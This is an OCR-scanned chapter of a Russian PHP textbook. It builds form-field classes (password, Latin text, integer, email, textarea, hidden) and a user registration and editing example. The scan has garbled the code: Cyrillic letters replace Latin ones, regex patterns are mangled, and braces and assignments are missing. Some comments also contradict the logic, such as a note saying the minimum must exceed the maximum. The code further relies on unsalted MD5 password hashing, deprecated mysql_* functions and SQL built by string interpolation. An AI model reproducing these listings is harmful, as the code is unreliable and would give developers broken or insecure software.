Глава б. ВспомогатеЛЬНblЙ набор классов. Framework 405 боты приложения объект формы создается два раза: первый раз - при ото­ браже нии НТМL-формы, второй - при обработке результатов ввода. Есл и м етод $form->check () из второй части приложе ния возвращает хотя бы одно сообщение об 9шибке, обработчик опускается и вместо него выводится НТМL-форма с ранее введенными значениями и сообщениями об ошибках. В л истинге 6.15 демонстрируется ситуация, в которой пользовател ь не запол­ н ил поле для ввода пароля . ЗА МЕЧАНИЕ Массив $error можно допол нить своими собственными сообщениями об о шибках, например, результата ми проверки совпадения имени нового пользователя с зарегистрированными ранее. Есл и в табл ице users обна­ руживается запись с со впада ющим именем , можно добавить в массив $error соответствующее сообщение. При этом обработчик не сработает, а кп иенту среди прочих будет выведено сообщение о том, что пользователь с та ким именем уже зарегистрирован. Весь код помещается в контрол ируемый блок try ... catch. Для того чтобы п родемонстр ировать возникновение исключительной ситуаци и, добав им в массив эл ементо в управления несуществующий объект thi rd (листинг 6. 1 5). ЗА МЕЧАНИЕ В листинге 6.15 приведен только тот фрагмент програм мы, который под­ вергся изменению и отличается от представленного в листинге 6.14. Листинг 6.1 5. Попытка передачи конструктору класса form объекта несуществующего элемента управления third <?php try $form = new form(array("name" => $пате, "pass" => $pass, "third" => $third) , "Добавить " , "field" );
406 Часть 1. Общие вопрос!,/ catch ( ExceptionObj ect $ехс } ?> Резул ьтато м работы программы из листинга 6.15 будет выпол нение фрагм ен­ та кода из саtсh-блока (рис. 6.1 1). ПРЩfзошл а ИС:КЛЮ«lП! ! льная С:Ш'Iация (ExceptioI10I:Jjecl) -11011ЬIТК3 J!С110ПЬЗ0вання в качеcmе элемента уnравпенИR объer.rа, хласс: которого не lШ1JI1еiСЯ ПI)()}lэводныtJ оrбззового ИJЫС:СЗ fie1d. "tf1i'п!" не ЯВЛЯЕ!IСЯ эшir.teпгом vправлеНИR. Ошжжа в фаЙl1{\ Q:\rnaiп\оор\10\Clаss\Clаss.fогmS.РhР в стр<>ке 48 . Рис. 6 .1 1. Обработка исключения Excepti onObj ect Второй блок (обработчик НТМL-формы) в листинге 6. 14 вступает в действие, только есл и скрипту передаются данные методом POST. В контрол ируемом блоке устанавливается с.оединение с СУБД MySQL, дан ные НТМL-формы авто мати чески обрабатываются и с их помощью формируется запрос INSERT на вставку новой записи. Есл и выполнение запроса заканчивается неудачей, генерируется исключение Except i onMySQL, которое перехваты вается catcll ­ обработчи ком (рис. 6.12). Последняя третья часть ответственна за вывод НТМL-формы и сообщений об ошибках. Ошибки выводятся в цикле foreach (если массив $error содержит хотя бы одно сообщение), а НТМL-форма выводится при помощи метода print_form ( ) кл асса form.
глава б. Вспомогательный набор кла ссов. Fгamework ПРОIIЗO Ol J18 ис.ключиrenьная СИ1Уац�1Я (EKcej)tion��v SQL) при обращеflllИ к СУБД MySQL. Colunln C(}unt does'n't matci1 \/alue соun! а! rOVJ 1 mSElП INТО users VA LUES( 'Имя пользоваrеля', MD5j'n apoflb'}, IЮW(j) Ошибка в файле D:\П1Wfl\оор\10\il1dех.рl1р в строке J.9 . Рис. 6.1 2. Обработка исключения Excepti onMySQL 6.8. Поле для пароля. Класс fi e/dJJassword 407 Для ввода пароля обычно испол ьзуют не текстовое поле, как это было про­ демонстрировано в разделе 6. 7, а специальное поле типа password, которое совпадает по атрибутам и внешнему виду с текстовым полем text, однако вводимый текст остается скрытым за символами звездочек ил и точек. Так как атрибуты эл ементов управления text И pas sword аналогичны, то класс поля для пароля field_p a ssword можно унаследовать от разработанно­ го ранее в разделе 6. 5 класса field_text (л истинг 6. 16). Листинг 6.16. Класс поля ДЛЯ пароля fieldyassword <?php //////////////////////////////////////////////////////////// // Текстовое поле для пароля password ////////////////////////////////////////////////////////////
408 Часть 1. Общие вопрось/ class field-password extends field text ?> 11 Конструктор класса function __construct ( $name , $capt ion, $is_required $value = "", false, $maxlength = 255, $size = 41, $parameters $help = "", 11 11 , $help_url "") 11 Вызыв аем конструктор базового класса field text 11 для инициализации его данных parent : : __construct ($name , $capt ion, $is_required , $value , $max length , $size, $parameters , $help , $help_url ); 11 Кл асс field_t ext присваивает члену type 11 значение text , дл я пароля этом члену 11 следует присвоить значение pas sword $this->type = "password" ; Как ВИДНО из листинга 6.16, класс field_p a ssword не перегружает методы check () И get_html (), так как они реализованы в базовом кл ассе field_t ex t. Можно было бы не перегружать и конструктор класса, так как количество и характер параметров совпадают, однако в классе field_t ext значение член а $type указано явно ( text) , а поле, содержащее пароль, должно иметь тип pas sword. Перегрузка конструктора позволяет изменить значение защищен­ ного члена $type на новое.
Гл ава 6. Вспомогательный набор кл ассов. Framework 409 Иерархия кл ассов элементов управления НТМL-формы теперь выглядит так, как это представлено на рис. 6. 13. Рис. 6.1З. Иерархия кл ассов элементов управления в листинге 6.17 приводится фрагмент системы регистрации пол ьзователя, рассмотренной ранее в листинге 6. 14, в которой поле для пароля формирует­ ся при помощи нового класса field_p as sword. Л исти нг 6.17. Испол ьзование кла сса fiеld_раз swоrd <?php ?> 111111111111111111111111111111111111111111 11 1. Формирование НТМL-формы 11111111111111111111111111/111111111111111 $пате = new field_t ext ("пате", "Имя ", true , $_POST [ 'пате'] ) i $pass new fieldyas swo rd ("pass ", "Пароль ", true , $_POST [ 'pass ']) i Результат модификации приложения для регистрации пользователей проде­ монстр ирован на рис. 6. 14.
410 Часть 1. Общие вопросы Iи,мя П()Л ЬЗОВё!тел� пароль ': I·····�···! Ilанель адМI'НliСТРИ:Р О8�t1�I А 'разраО)тана и лuр,церживается I Т·сг;диеЙ "S"n ,lm9» w",',v , sontl гne, гu I•• •" ••:", .' г:7;:"'- '-----'"-..:.....:.--"--'''--- --= Рис. 6 .14. Использование специал и з ированного поля дл я ввода пароля 6.9. Поле для ввода английского те кста . Кл асс fie/d_text_english На текст, вводимый в тексто вое поле, зачастую может накладываться бол ь­ шое кол ичество ограничений, связанных с особенностями текущего Web­ приложения. Одно из распространенных ограничений - требование, чтобы вводимый текст содержал тол ько символы лати нского алфавита. Рис. 6.15. Иерархия кл ассов элем ентов управления
Глава 6. Вспомо гательный набор классов. Fгamework 411 Создадим новый класс field_text_eng lish, который унаследуем от кл асса текстового поля field_text (рис. 6 . 1 5). В листи нге 6. 18 приводится реализация класса field_text_english. Так как конструктор и метод get_html () кл асса field_text_english полностью эк­ вивалентны методам кл асса field_t ext, перегрузке подвергается тол ько ме­ тод check () . При помощи регулярных выражений он осуществл яет проверку, не содержит ли введенный текст символов, отличных от латинских. Листинг 6.18. Класс поля с английским текстом f э. . еld_tехt_еngl э. . Sh <?php ////f/////////////////////////////////////////////////////// ?> // Текстовое поле для английского текста //////////////////////////////////////////////////////////// clas s field_text_english extends field_t ext // Метод , проверяющий корректность переданных данных function check ( ) // Обезопасить текст перед внесением в базу данных if (!get_m agic_quotes_gpc () ) $this->value = mys ql_escape_s tring ($this->value) ; if ( $this->is_required) $pattern = "IЛ[а-z] +$ li"; else $pattern = "IЛ[а-z] *$ li"; // Пр оверяем символы в поле value // на принадлежность латинскому алфавиту if (!preg_match ( $pattern , $this->value )) { return "Поле \ " {$this->capt ion }\" return .. " . , должно содержа ть толь ко символы латинского алфавита ";
412 Часть 1. Общие вопр ось/ 6.10. Поле для ввода цел ых чисел. Кл асс fi eld_text_in t Очень часто встречается задача ввода цел ых чисел, принадлежащих опреде_ ленному диапазону. Создать такое поле можно, расширяя класс field_te xt путем ввода в него двух новых членов : CI $min_valие - минимальное значение, которое может принимать вводи­ мое пол ьзователем число; CI $max_value - максимальное значение, которое может принимать ввод и- мое пользователем число. Будем считать, что если оба значения совпадают, то ограничения по диапазо­ ну отсутствуют, и класс field_t ext_int будет лишь при водить текст к цел о­ му значению. На рис. 6. 16 приводится схе ма иерархии классов и место класса field_t ext_int в это й иерархии. Рис. 6 .16. Место кл асса field text int в иерархии кл ассо в эл ементо в управления в листинге 6. 19 приводится возможная реализация класса field_t ext_int . Листи нг 6.19. Класс для ввода цел ых чисел field_text_int <?php ////! ///////////////////////////////////////////////////////
Гл ава 6. ВспомогатеЛЬНblй набор классов. Framework / / Текстовое поле с целочисленными значениями / / / ///////////////////////////////////////////////////////// c1ass field text int extends field text // Минималь ное значение поля protected $rnin_va lue ; // Максимал ьное значение поля protected $rnax_value ; // Конс труктор класса function __construct ($narne , $capt ion, $is_requi red $value = "" , $rniп_val ие О, $rnaх_valие О, false, $rnaxlength 255, $size = 41, $pararneters $he1p = "", " ", $he1p_url "") // Вызываем конструктор базового кл асса fie1d text // ДЛЯ инициализации его данных parent : : __cons truct ( $narne , $capt ion, $is_required, $va1ue , $rnax1ength, $size, $pararneters , $help, $he1p_ur 1) ; $this- >rnin_va1ue $this- >rnax_va1ue intva1 ( $rnin_va1ue ); intva1 ( $rnax_va1ue ); // Минимальное значение должно быть больше максимального if ($this- >rnin_va1ue > $this- >rnax_va 1ue ) 413
414 ?> Часть 1. Общие вопр ось/ throw ЕхсерtiОП ("Минимал ьное значение должно быть больше максимального значения . Поле \ "{$this->caption)\". ") ; // Ме тод, проверяющий корректность переданных данных function check ( ) $pattern = "IЛ[-\d] *$ li"; if ($this->is_requi red) // Проверяем поле value на максимальное и минимальное значение if ( $this->rnin_va lue != $this->max_va lue ) if ($this->value < $this->rnin_value II $this- >value > $thi s->max_va lue ) return "Поле \"" .$this->caption . "\" $pattern должно быть больше ".$this->rnin_value ." и ме ньше ".$this->max_value .""; "IЛ[ - \d] +$ li"; // Пр оверяем, является ли введенное значение / / целым числом if (!preg_ma tch ($pattern, $this->value )) return "Поле \"" . $this- >capt ion. "\" должно содержать толь ко цифры" ; return "11. , -
гпава б. Вспомогательный набор классов. Framework 415 - При создании объекта проверяетс я, чтобы минимальное значение $rnin_val ие быЛО м еньше или равно максимальному значению $rnах_value, в проти вном сл уч ае генерируется исключение. Так как кл асс содержит два допол нител ьных члена, конструкто р подве рга­ ется перегрузке для их корректной инициал изации. Помимо это го, пере­ гружается метод check ( ) , который контролирует, чтобы введенное число с одержало то лько цифры, а значение не выходило з а рамки интервала ( $rn in_va lue, $rnax_value). В методе сhе сk (}ДЛЯ проверки, является ли вве­ денное значение целым числом, используются два регулярных выражения. Первое регулярное выражение " 1 л [ - \d] +$ I i" испол ьзуется, когда поле обязател ьно ( $is_required == true) И требует, чтобы значение содержа­ ло хотя бы одно цел ое значение или знак минус "-". Второе регулярное в ыражение " I л [ - \d] * $ I i" испол ьзуется, когда поле необязател ьно ( $is_requi red == true), И требует, чтобы значение было либо пусты м, либо содержало цифры и знак минус "-" . 6. 11. Поле для ввода электронной почты . Кл асс fi e/d_text_email Другой распространенной задач ей является ввод адреса электронной почты , кото рый имеет строгий фиксированный формат. fieldyasswoгd Рис. 6 .17 . Место класса field text ета Н - - в иерархии кл ассов элементов управления
416 Часть '. Общие вопросы Каждый раз формировать регулярное выражение для проверки вводимого значен ия уто м ител ьно, поэтому разумно дополнить иерархию классов допол ­ нительным классом field_text_ernail, который будет осуществлять авто м а­ тическую проверку синтаксиса ад реса электронной почты (рис. 6 . 17). При наследо вании кл асса field_t ext_erna il от класса field_t ext достаточ­ но перегрузить метод check (), в котором при помощи регулярного выраже­ ния проверить формат ад реса электронной почты (листи нг 6.20). ЗА МЕЧАНИЕ Подробнее регулярное выражение дл я проверки е- таil обсуждается в раз­ деле 5. 1.3. Листинг 6.20. Класс ДЛЯ ввода электронной почты field_text_erna il <?рЬр 111111111111111111111111111111111111111111111111111111111111 ?> 11 Текстовое поле для e -rnail 111111111111111111111111111111111111111111111111111111111111 class field text erna il extends field text 11 Метод , проверяющий корректность переданных данных function check ( ) if ( $this- >is_required II !ernpty ($this- >va lue) ) $pattern = " #" [ -О-9а- z_\.]+@[-О - 9а-Z"\ .]+\. [а- z] { 2, б}$#i"; if (!preg_rnatch ( $pattern, $this- >value) ) return "Введите e -rnail в виде <i>sornething@server . com</i>" ; return " ". ,
Гл ава 6. Вспомогательный набор кл ассов. Framework 417 6.1 2. Текстовая область. Кл асс fi e/d_textarea Те ксто вая область предназначена для ввода нескольких строк те кста и созда­ ет ся при помощи парного тега <textarea>. В отличие от тексто в ого поля < i nput>, в текстовой области допускается создание переводов строк (абза­ цев). Тег <textarea> имеет следующий синтаксис: <t extarea> ...</textarea> Как можно заметить, текстовая область определ яется не с помощью атрибу­ та, а при помощи собственного тега. Допусти мые атрибуты тега <textarea> приводятся В табл . 6.4 . Та блица 6.4 . Атрибуты текстовой области Атрибут О писа ние cols Ширина тексто вой области , равная кол ичеству символов моно- ширинного шрифта disabled Блокирует возможность редактирования и Вblделения текста в тексто вой области , при этом сам эл емент управления окраши ва- ется в сеРblЙ цвет пате Имя элемента управления, пред назначенное для идентификации в обработч ике. И мя должно бblТЬ уникаЛЬНblМ в предел ах фОРМbI , то есть отличаться от имен других элементов управления, по- скол ьку испол ьзуется как кл юч для доступа к значению поля в обработч ике readonly Блокирует возможность редактирования тексто вой области , од- нако, в отличие от атрибута di sabled, цвет элемента управления остается неизмеННblМ rows BblcoTa тексто вой области , равная кол ичеству отображаеМblХ стр ок без прокрутки содержи мого wrap Требует от б раузера, чтобbl перенос текста на следующую строку осуществлялся тол ько при нажатии кл авиши <Епtег> , в против- ном случае должна появляться горизонтальная полоса про крутки Для моделирования тексто вой области создадим класс field_textarea, кото­ рый унаследуем от базового класса field (рис. 6 . 1 8).
418 Часть 1. Общие вопрось/ field Рис. 6.18. Место класса field textarea В иерархии классов элементов управления Как видно из табл . б .4, помимо членов, входящих в обобще нный класс fiel d, для класса field_t extarea необходимо предусмотреть пять дополнитель ных членов для задания ширины и высоты тексто вой области, а также логические члены для атрибутов disabled, readonly и wrap. В листинге б .21 приводится возможная реализация кл асса field_t extarea, наследуемого от базового кл асса field. Листинг 6.21 . Класс тексто вой области <?php //////////////////////////////////////////////////////////// // Текстовая область textarea //////////////////////////////////////////////////////////// class field textarea extends field // Размер текстового поля protected $co ls ; // Максимальное количество вводимых данных protected $rows ; // Бл окировка поля protected $disabled; // Только для чтения protected $readonly; // Отсутствие автоперевода строк protected $wrap ; // Конструктор класса funct ion __const ruct ($name ,
Глава 6. Вспомогательный набор классов. Framework $caption , $id_requi red $value = "", $cols 35, $rows 7, false, $disabled false, $readonly false, $wrap = false, "11 , $parameters $help = "", $help_url = "") // Вызываем конструктор базового класса field / / для инициализации его данных parent : : __cons t ruct ( $name , "textarea " , $caption, $ id_required, $value , $parameters , $help, $help_url ) i // Инициируем члены класса field text $this->cols $COlS i $this->rows $this->disabled $this->readonly $this->wrap $rows i $disabledi $readonlY i $wrap i // Метод для возврата имени поля // и самого тега элемента управления fuпсtiоп get_html () // Если элементы оформления не пусты, учитываем их if (!ernpty ($this->css_style )) $style = "style=\ "" .$this->css_style . "\""i 419
420 else $style = "О; if (!ernpty ($this->css_c lass) ) $class "class=\ "" . $this->css_class . "\ '' '' ; else $class "" ., // Если определены размеры, учитываем их if (!ernpty ($this ->cols )) $cols "cols=" . $this->cols ; else $cols = "О ; if ( ! ernpty ($this->rows ) ) $rows "rows=" .$this->rows ; else $rows "" ., // Атрибуты текстовой области if ($this->di sabled) $disabled else $disabled = "О ; if ($this->readonly) $readonly else $readonly = "О ; if ($this->wrap ) $wrap else $wrap = НН. , "wrap ll i if ( is_a rray ($this->value) ) "disabled" ; "readonly" ; $this->value irnp lode ("\r\n" , $this->value ); if (!get_rnagic_quotes_gpc () ) { Ча сть 1. Общие в опросы $output = str_replace ('\r\n ' ,"\ r\n" ,$this->va lue) ; else $output = $this->value ; $tag = "<textarea $style $class
Глава б. ВспомогатеЛЬНblЙ набор классов. Framework narne=\ "" .$thi s->narne. "\" $cols $rows $disabled $readonly $wrap> ". htmlspecialchars ($output , ENT_QUOTES ) . "</textarea> \n" ; // Если поле обязатель но для заполнения , // отмечаем этот факт if ( $this->is_required ) $this->capt ion "* "; // Формируем подсказку, если она име ется $help = ""; if (!ernpty ($this->help) ) $help "<span style= 'color : blue '>". n12br ($this->help) . "</зрап>" ; if (!ernpty ( $help ) ) $help .= "<br>" ; if (!ernpty ( $this->help_u rl )) $help "<span style= 'color : blue '> <а hrе f= " .$thi s->hе lр_url .">помощь </а> </зрan> " ; return array ($this->capt ion, $tag , $help) ; // Метод , пр оверяющий корректность переданных данных function check ( ) // Обе спечение безопасности текста // перед внесением в базу данных if (!get_rna gic_quotes_gpc () ) $this->value = rny sql_escape_s tring ($this->value ); if ($this->is_required) 421
422 Часть 1. Общие вОПРОСbJ if (ernpty ($t his->va lue) ) return "Поле \"" . $this->caption ."\" не заполнено "; return ?> 1111 . , Конструктор класса field_t extarea инициирует члены кл асса, а также в ы­ зывает конструктор базового кл асса field для инициализации его членов классов. Метод get_htrnl () формирует фрагменты НТМL-кода, которые за­ тем испол ьзуются кл ассом forrn для создания строки табл ицы с элементом управления <textarea>. Метод che ck () ничем не отл ичается от ранее рас­ смотренного метода для класса текстового поля field_text. В разделе 6. 7 было рассмотрено простейшее Web-приложение для регистра­ ции пользователей. Расширим возможности этого приложения : пользовател ь получит возможность ввести при регистрации дополнител ьную информацию о себе в текстовую область, кроме этого, от него потребуется указать адрес электронной почты, отличный от всех зарегистрированных ранее. Модифицируем таблицу users так, как это продемонстрировано в листин­ ге 6.22 . Листинг 6.22. Модифицирова нная таблица users СRБAТЕ TAВLE users ( ); id_user INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , раз з TINYTEXT NOT NULL , ernail TINYTEXT NOT NULL , de scription ТЕХТ NOT NULL, putda te DATETIМE NOT NULL , PRIМARY КЕУ (id_user) Дополнительное поле еrnа Н предназначено для хранения адреса ЭJ IСКТРОННОЙ почты, а поле description - дополнител ьной информации о пользовател е.
Гл а ва 6. Вспомогательный набор кл ассов. Framework 423 Чтобы сократить объем приложения, укажем все файл ы с кл ассам и эл емен­ тов управления, исключений и НТМL-форм в специальном файле солfig/с lаss.СОl1fig.рhр. Кроме ЭТQ ГО, для обработчиков исключений введем специальные файлы ехсерtiол_m еmЬеr.рI1Р, ехсерtiол_mуsql.рI1Р и exceptiol1_obj ect.php, которые включим в саtсh-блок при помощи инструкции r equire. ЗАМЕЧАНИЕ Файлы сопfig/сlаss.сопfig .рhр, ехсерtiоп_mеmЬег. рhр, ехсерtiоп_mуsql.рhр и ехсерtiоп_оЬjесt. рhр можно найти на ко мпакт-диске, поста вляемом вместе с книгой. в листинге 6.23 приводится возможная реализация расширенной регистрации пользователей. Листинг 6.23. Расширенная регистрация пользователей <?php II Подключаем все необходимые классы require_once ("config/class . config .php") ; try IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII II 1. Формирование НТМL-формы 111111111111/ 11111111/ 1111/ 111111111111111 $паше = ne w field_t ext ("name", "Th.1,я" I true , $_POST ['паше' ] ) ; $pass = new field_p as sword ("pass", "Пароль ", true , $_POST [ 'pass' ]); $pass_again = new fieldyassword ("pas s_again" , " Повтор пароля " , true ,
424 $ernail $about new field_t ext_ema il ("erna il" , "E-rnail " , true , $_POST ['ernail ']); new field_textarea ("about " , "о себе", Часть 1. Общие вопро false, // Поле не обязатель ное $_POST ['about' ] ); $fonn = new fonn(array("name" => $пате , => $pass, "pas s" "pas s_aga in" => $pass_aga in , "email" => $email, "about " => $about) , "Добавить ", "field" ); ////////////////////////////////////////// // 2. Обработчик НТМL-формы ////////////////////////////////////////// if (!empty ($_POST ) ) // Устанавливаем соединение с базой данных require_опсе ( "config . php " ) ; // Пр оверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fonn- >check () ; // Проверяем идентичность паролей if ($fonn- >fields ['p ass ']- >va lue != $fonn- >fields ['pass_again ']- >value ) $error [] "Неверный пароль "; // Проверяем, не регистрировался ли ранее поль зователь // с идентичным эле ктронным адресом
Глава 6. ВспомогатеЛЬНblЙ набор кл ассов. Framework $query = "SELECT COUNT (*) FROM users WHERE email = ' { $form->fields [email ] ->value} '''; $та l = mysql_query ($query) ; if (!$mal ) throw new Excepti onМySQL (mysql_error () , $query , " Ошибка регистр ации поль зователя") ; if (mys ql_result ($ma l, О) ) $error [] "Поль зователь с электронным адре сом { $form->fields [email ] ->value } уже зарегистрирован " ; if (empty ($e rror) ) // Запи сыв аем полученные резуль таты в таблицу $query = "INSERT INTO users VALUES (NULL , '{$form->fields [name] ->va lue} ', MD5 ('{$form->fiеlds [ра ss ] ->vаluе} '), ' {$form->fields [email ] ->value }', I {$form->fields [d escription] ->value } , , NOW()) "; Н( !mysql_query ($query ) ) throw new Excepti onМySQL (mysql_e rror () , $que ry, " Ошибка регистрации поль зователя" ) ; // Пере гружаем страницу для сброса РО SТ-данных header ( "Location : $_SERVER [PHP_SELF] ") ; 425
426 Часть 1. Общие вопросы ?> exit () ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII II З. Видимая часть страницы IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII II Включаем заголовок страницы require_once ("utils/top . php " ); II Выводим сообщения об ошибках , если они имеют ся if ( !ernpty ($e rror) ) foreach ($e rror as $err) есЬо "<span style=\"color : red\ ">$err</span><br> "; II Выводим НТМL- форму $forrn->print_forrn () ; catch ( Excepti onObj ect $ехс ) { require ("excepti on_obj ect .php " ); catch ( ExceptionМernber $ехс ) { require ("excepti on_rnernb er . php " ); catch ( ExceptionМySQL $ехс ) { require ("excepti on_rny sql .php " ); II Включаем завершение страницы require_once ("utils /bottorn. php " ); Результат обращения к скрипту из листинга 6.23 продемонстрирован н а рис. 6. 19. Для формирования НТМL-формы испол ьзуется объект тексто вого поля field_t ext, два объекта кл асса field_p assword, поле для ввода парол я field text ernail и тексто вая область field textarea. Отличительной особенностью данного приложения являются дополнител ь­ ные условия, размещенные между вызовом метода check () объекта $forrn И началом обработки . Это позволяет допол нить список сообщений об ошиб ках,
Глава б. ВспомогатеЛЬНblй набор классов. Framework 427 возвращаемых методо м che ck (), отрицател ьными резул ьтатами проверок, реал изовать которые в классе form не представляется возмож ным . З АМЕЧАНИЕ Как и класс текстового поля field_t ext, кл асс тексто вой области field_textarea можно использовать в качестве базового класса ДЛЯ соз­ дания новых эл ементо в управления с различными ограничениями, накла­ дываемыми на формат вводимой информации. Попе "Па стор fJаролЯ" IiС заПОf1нено Вве�П9 €-mail еt:ицс :;аrпеtJ1i�;@SЩ\(fu.соm Паропн не раЕНЫ и.u.я"': ПОРОПЬ": ПоеТI)j! пароля":: E-tnail '; Ос�бе: До бави ть Рис. 6 .19 . Р асш иренная регистрация пользователе й 6.1 з. С крытое поле. Класс fi eld hidden Скрытое поле служит для передачи незам етно от пользовател я служебной информации. Скрытые поля не отображаются на странице.
428 Часть 1. Общие вопрось/ - ЗА МЕЧА НИЕ Дело в том, что протокол НТТР не сессионный , и проблема передачи И Н­ формации от стра ницы к странице стоит в нем достаточно остро. ПОМ имо скрытых полей передавать информацию можно при помощи мехаНИ З ма сессий (session), однако такой подход не всегда удобен, та к ка к сесси и но­ сят гл обальный характер и могут искажаться другой частью приложения . Скрытое поле создается при помощи input-Tera, атрибут type кото рого п ри­ нимает значение hidden: <input type= "hidden "> Помимо атрибута type, скрытое поле поддерживает атрибут пате для ун и ­ кал ьного имени элемента управления и атрибут value для его значе ния. Для представления скрытого поля унаследуем от базового кл асса field про­ изводный кл асс field_h idden (рис. 6.20). Рис. 6.20. Место класса field hidden в иерархии кл ассов элементов управл ения в листинге 6.24 представлена реализация класса field_h idden. Так как у скрытых полей отсутствуют представления, его конструктор имеет тол ько тр и параметра: О $narne - имя скрытого поля; О $' is_required - логическое значение, определяющее обязател ьность элемента управления; О $value - значение скрытого поля . Листинг 6.24. Класс скрытого поля field_h i dden <?php 111111111111111111111111111111111111111111111111111111111111
глава б. Вспомогательный набор кл ассов. Framework / / Скрытое поле hidden / / / / //////////////////////////////////////////////////////// cl ass field hidden extends field // Конструктор класса function __cons t ruct ($name , $id_requi red $value = "") false, // Вызываем конструктор базового класса field // для инициализации его данных parent : : __const ruct ( $name , "hidden" , "_", $id_requi red, $value , $parameters , "", "11); // Метод дл я возврата имени названия поля // и самого тега элемента управления function get_html () $tag "<inpllt type=\ "" . $this->type ."\" name=\ "" . $this->name. "\" value=\" " . 429 html specialchars ($this->value , ENT_QUOTE S) ."\">\n" ; return array ("", $tag) ; // Метод , проверяющий корректность переданных данных function check ( ) // Обеспечение безопасности текста // перед внесением в базу данных if (!get_rnagic_quotes_gpc () )
430 ?> Часть 1. Общие вопрось / $this->value = mysql_e scape_string ($this->value) ; if ($this->is_required) if (empty ($this->va lue » return "Скрыт ое поле не заполне'ю "; return ""; Метод check () осуществляет стандартную проверку наличия в поле непусто ­ го значения и полностью совпадает с методом check () рассмотренного ранее кл асса field_t ext. Метод get_html (), формирующий НТМL-фрагменты , передает классу form массив из двух элементо в, причем первый из них, ис­ пользуемый для описания, пуст. Во избежание формирования лишней пустой строки при включении в НТМL-форму скрытого поля необходимо так моди­ фицировать метод print_fo rm () класса form (см. листинг 6.1 1), чтобы поле типа hidden обрабатывалось специальным образом. Для этого введем в цикл обработки элементо в управления оператор switch ( ) , который, в зависимости от значения члена $type, будет выбирать тот ил и иной способ представления элементо в управления (листи нг 6.25). ЗАМЕЧАНИЕ Полный вариант класса form, обрабатывающий все рассматриваемые в кн иге элементы управления, можно найти на компакт-диске , поставляемом вместе с книго й. Листинг 6.25. Усло вный вывод элементов управления в методе print_form () класса form <?php switch ($obj ->type ) case "hidden" : // Скрытое поле
Гл ава б. Вспомогательный набор классов. Framework 431 ?> echo $tag; break; default : // Элементы управления по умолчанию echo "<tr> <td width=lOO $style $class valign=top>$caption:</td> <td $style $class valign=top> $tag </td> </tr>\n" ; if ( !ernpty ($help ) ) { echo "<tr> break; <td> &nbsp ;</ td> <td $style $class valign=top> $help< / td> </tr>" ; Оператор switch ( ) проверяет содержимое члена $type класса элемента управления, и, если класс относится к скрытому полю (hidden), обрабатывает его специальным образом, не создавая строку табл ицы. Все остал ьные эле­ менты по умолчанию обрабатыв аются как тексто вые поля или области. ЗА МЕЧА НИЕ Использование оператора switch в объектно-ориентированных програм­ мах считается признаком плохого то на, и следовало бы вместо switch использовать набор кл ассов-адаптеров. Однако в книге мы будем исполь­ зовать в классе forrn оператор swi tch, чтобы снизить количество исполь­ зуемых классов и повысить читабел ьность кода . 6 .14. Скрытое поле для целых знач ений . Класс fi eld i1idden in t Большое значение, особенно при работе с СУБД MySQL, приобретают скры­ ты е поля, передающие 1.1елочисленные значения. Дело в том, что запися м в
432 Часть 1. Общие вопросы табл ицах баз данных присваиваются первичные кл ючи, при помощи которых можно связать табл ицы друг с другом или отличить одну запись от другой. Значе ния первичных ключей часто становятся объектом передач и в скрытых полях. Унаследуем от field_h idden производный класс field_h i dden_int, который будет передавать тол ько цел ые значения (рис. 6.2 1). Рис. 6 .21 . Место класса field hidden int в и ерархии классов элем ентов управления в листинге 6.26 представлена возможная реализация класса field_h idden_int . Листинг 6.26 . Класс скрытого поля ДЛЯ передачи целочисленных зна чений field_h idden_int <?php //////////////////////////////////////////////////////////// // Скрытое поле с целочисленными значениями hidden //////////////////////////////////////////////////////////// class field hidden int extends field hidden // Метод, проверяющий корректность переданных данных function check ( ) if ( $this->is_required) // Поле обязательно к заполнению if ( !preg_match ("1 л [\d] +$ 1 ",$this->value) ) return "Скрыт ое поле должно быть целым числом" ;
Гл а ва 6. ВспомогатеЛЬНblЙ набор кл ассов. Framework 433 II Поле не обязательно к заполнению if ( !preg_ma tch (" [Л[\d] *$ [", $this- >va lue ) ) return "Скрытое поле должно быть целым числом" ; return ""; ?> Для демонстрации работы скрытых полей обратимся к рассмотренной в раз­ деле 6. 12 системе регистрации пользователей. Пусть на странице выводится список всех пользователей в виде гиперссылок, переход по которым позволя­ ет редакти ровать все личные данные пользователя (пароль, e-mail, допол ни­ тель ную информацию), исключая имя, служащее дл я авторизации. В листинге 6.27 приводится пример скрипта, выводящего список пользователей. Л и стинг 6.27 . Список пользователей (Iist.php) <?php II Включаем заголовок страницы require_once ("utils/top . php " ); II Подключаем все необходимые классы require_опсе ( "config . php" ) ; try $query = "SELECT * FROM users "; $usr = rnysql_query ($query ); if (!$usr) throw new Except i onМySQL (rnys ql_e rror () , $que ry, "Ошибка обращения к списку поль зователей" ) ; II Если име ется хотя бы одна запи сь , II выводим список поль зователей
434 Часть 1. Общие вопросы ?> whi le ($user = mys ql_fet ch_a rray ($us r) ) echo "<а href=edituser . php?id_us er=$user [ id_user] >" . htmlspecialchars ($user ['name' ], ENT_QUOTES ) . "</a><br> " ; catch ( Except ionМySQL $ехс ) require ("excepti on_mys ql .php " ); / / ВЮIЮчаем завершение страницы requi re_once ("utils/bottom.php" ) ; Кажд ый из эл ементов списка указывает на файл edituser.pi1p, которому через GЕТ-параметр передается первичный ключ id_user, соответствующий теку­ щему пользователю. В файле edituser.pi1p (листинг 6.28) формируется НТМL-форма, которая по­ зволяет отредактировать данные пользователя. Так как данные передаются методом POST, то первичный ключ следует передать через скрытое поле id_user. В противном случае обработчик не сможет определить, какую из записей табл ицы users следует подвергнуть редактированию. Листинг 6.28. Форма для реда ктирования данных пол ьзователя (edituser. php) <?php try // ПОДЮIЮчаем все необходимые классы requi re_once ("c onfig/class . config .php" ) ; // Если это первое оБРашение к НТМL-форме , // извлекаем информацию из таблицы users if (empty ( $_POST )) { intval ( $_GET ['id_user ']);
